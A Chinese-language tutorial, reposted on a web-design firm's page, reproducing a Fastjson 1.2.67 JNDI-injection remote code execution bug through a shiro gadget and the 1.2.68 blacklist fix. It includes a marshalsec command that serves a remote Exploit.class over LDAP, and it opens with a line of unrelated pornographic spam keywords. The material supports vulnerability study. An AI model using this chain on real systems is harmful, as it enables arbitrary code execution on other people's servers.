真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

今天就跟大家聊聊有關(guān)如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn),可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

義馬網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)公司!從網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、響應(yīng)式網(wǎng)站建設(shè)等網(wǎng)站項(xiàng)目制作,到程序開發(fā),運(yùn)營維護(hù)。成都創(chuàng)新互聯(lián)公司2013年至今到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選成都創(chuàng)新互聯(lián)公司

0x01 Fastjson簡介

Fastjson 是Alibaba的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。 
https://github.com/alibaba/fastjson

0x02 環(huán)境搭建

JDK 版本:8u112

fastjson: 1.2.67

shiro: 1.5.1

slf4j-nop: 1.7.25

0x1 添加依賴包

為了快速添加項(xiàng)目所需要的jar包,創(chuàng)建Maven項(xiàng)目如下

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

pom.xml

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

之后右鍵pom.xml 點(diǎn)擊下載source和document

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

0x2 選擇JDK版本

該漏洞選擇JDK 8u112

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

0x3 編寫漏洞代碼

在main文件夾中添加漏洞代碼,核心在于調(diào)用了fastjson.JSON的parseObject 函數(shù)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

0x03 漏洞原理

0x1 FastJson 類解析

Fastjson接口簡單易用,廣泛使用在緩存序列化、協(xié)議交互、Web輸出、Android客戶端提供兩個主要接口toJsonString和parseObject來分別實(shí)現(xiàn)序列化和反序列化。

FastJson中的 parse 和 parseObject方法都可以用來將JSON字符串反序列化成Java對象,parseObject 本質(zhì)上也是調(diào)用 parse 進(jìn)行反序列化的。但是 parseObject 會額外的將Java對象轉(zhuǎn)為 JSONObject對象,即 JSON.toJSON。所以進(jìn)行反序列化時的細(xì)節(jié)區(qū)別在于,parse 會識別并調(diào)用目標(biāo)類的 setter 方法及某些特定條件的 getter 方法,而 parseObject 由于多執(zhí)行了 JSON.toJSON(obj),所以在處理過程中會調(diào)用反序列化目標(biāo)類的所有 setter 和 getter 方法。

fastjson.java

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

由結(jié)果可以看出調(diào)用parseObject 函數(shù)會調(diào)用getattr方法。

0x2 漏洞調(diào)用鏈分析

調(diào)用棧分析

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

1. parseObject 對象類型轉(zhuǎn)換

這一步的操作是將obj對應(yīng)的對象類型轉(zhuǎn)化為json格式,這勢必要方位getattr 對象方法,從而觸發(fā)漏洞。

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

2. 反射調(diào)用

通過invoke方法,調(diào)用getinstance方法

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

3. 觸發(fā)ldap

在JndiObjectFactory getinstance 中調(diào)用了this.lookup(resourceName)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

0x3 JNDI 注入

Java Name Directory Interface,Java命名和目錄接口(JNDI)是一種Java API,類似于一個索引中心,它允許客戶端通過name發(fā)現(xiàn)和查找數(shù)據(jù)和對象。JNDI包括Naming Service和Directory Service,通過名稱來尋找數(shù)據(jù)和對象的API,也稱為一種綁定。JNDI可訪問的現(xiàn)有的目錄及服務(wù)有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

其應(yīng)用場景比如:動態(tài)加載數(shù)據(jù)庫配置文件,從而保持?jǐn)?shù)據(jù)庫代碼不變動等。

注入方法:

  1. JNDI Reference 配合 RMI

  2. JNDI Reference 配合 LDAP

RMI格式:ctx.lookup("
rmi://localhost:9999/refObj");

LDAP格式ctx.lookup("
ldap://localhost:9999/refObj");

若lookup函數(shù)中的參數(shù)攻擊者可控,便可以指向攻擊者的服務(wù)器,即可實(shí)現(xiàn)JNDI注入實(shí)現(xiàn)任意代碼執(zhí)行。

1 RMI

RMI(Remote Method Invocation,遠(yuǎn)程方法調(diào)用)。遠(yuǎn)程方法調(diào)用是分布式編程中的一個基本思想,實(shí)現(xiàn)遠(yuǎn)程方法調(diào)用的技術(shù)有CORBA、WebService等(這兩種獨(dú)立于編程語言)。RMI則是專門為JAVA設(shè)計(jì),依賴JRMP通訊協(xié)議。

2 LDAP

LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協(xié)議)是一種目錄服務(wù)協(xié)議,運(yùn)行在TCP/IP堆棧之上。目錄服務(wù)是一個特殊的數(shù)據(jù)庫,用來保存描述性的、基于屬性的詳細(xì)信息,能進(jìn)行查詢、瀏覽和搜索,以樹狀結(jié)構(gòu)組織數(shù)據(jù)。LDAP以樹結(jié)構(gòu)標(biāo)識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強(qiáng),但“寫”性能較差,并且沒有事務(wù)處理、回滾等復(fù)雜功能,不適于存儲修改頻繁的數(shù)據(jù)。LDAP目錄和RMI注冊表的區(qū)別在于是前者是目錄服務(wù),并允許分配存儲對象的屬性。

該漏洞簡單的將利用org.apache.shiro 包中的jndi功能訪問自己搭建的ldap服務(wù),獲取并執(zhí)行自己編譯的Exploit.class文件。

0x04 漏洞利用

0x1 編譯Java 利用代碼

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

0x2 開啟 LDAP 服務(wù)

使用marshalsec啟動一個ladp服務(wù)器 ,下載地址為
https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

0x3 開啟HTTP Web 服務(wù)

將編譯好的Exploit.class 放在web目錄下并開啟服務(wù)

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

0x05 漏洞補(bǔ)丁

這個鏈接梳理了fastjson hash對應(yīng)的jar,可以方便的尋找已經(jīng)被過濾的jar包
https://github.com/LeadroyaL/fastjson-blacklist

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

該漏洞采用黑名單的方式進(jìn)行修補(bǔ),在1.2.68中把org.apache.shiro.jndi 給ban掉了

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

對應(yīng)的具體代碼如下圖所示,在 public Class checkAutoType(String typeName, Class expectClass, int features) 函數(shù)中有對應(yīng)處理

黑名單hash生成算法,大概思路是將每一位都異或進(jìn)行異或疊加。

如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)

看完上述內(nèi)容,你們對如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)有進(jìn)一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。


分享文章:如何分析Fastjson漏洞的環(huán)境搭建及漏洞復(fù)現(xiàn)
文章URL:http://weahome.cn/article/gohido.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部